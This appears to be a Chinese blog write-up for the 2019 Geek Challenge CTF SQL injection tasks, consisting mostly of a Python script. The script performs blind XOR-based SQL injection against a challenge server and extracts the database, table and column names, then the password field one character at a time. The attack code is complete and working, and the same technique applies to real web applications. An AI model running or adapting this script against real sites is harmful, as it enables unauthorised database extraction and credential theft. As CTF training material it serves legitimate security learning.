1. 程式人生 > 實用技巧 >2019極客大挑戰EasySql、LoveSql、BabySql、HardSql、FinalSql

2019極客大挑戰EasySql、LoveSql、BabySql、HardSql、FinalSql

#這裡提一下,由於伺服器可能會出現429太多請求的錯誤,會導致指令碼測試某些欄位匹配不到。建議多跑幾次flag。
#這題目裡password欄位太長了,建議直接從170位到220位測試(小心別踩坑,因為429錯誤)。
import
requests url = 'http://c3d4ded5-63fb-4d51-b784-e73ad570a432.node3.buuoj.cn/search.php?id=1' #資料庫、表名、欄位查詢語句 database = 'select(database())' table = 'select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()
' column = "select(group_concat(column_name))from(information_schema.columns)where(table_name)=('F1naI1y')" key = 'select(group_concat(password))from(F1naI1y)' result = '' for i in range(170,220): for j in range(32,126): payload = '^(ascii(substr(({}),{},1))={})'.format(key,i,j) res
= requests.get(url+payload) print(chr(j)) #如果頁面內容中出現ERROR猜測正確 if 'ERROR' in res.text: result += chr(j) print(res.url) print(i) print(result) break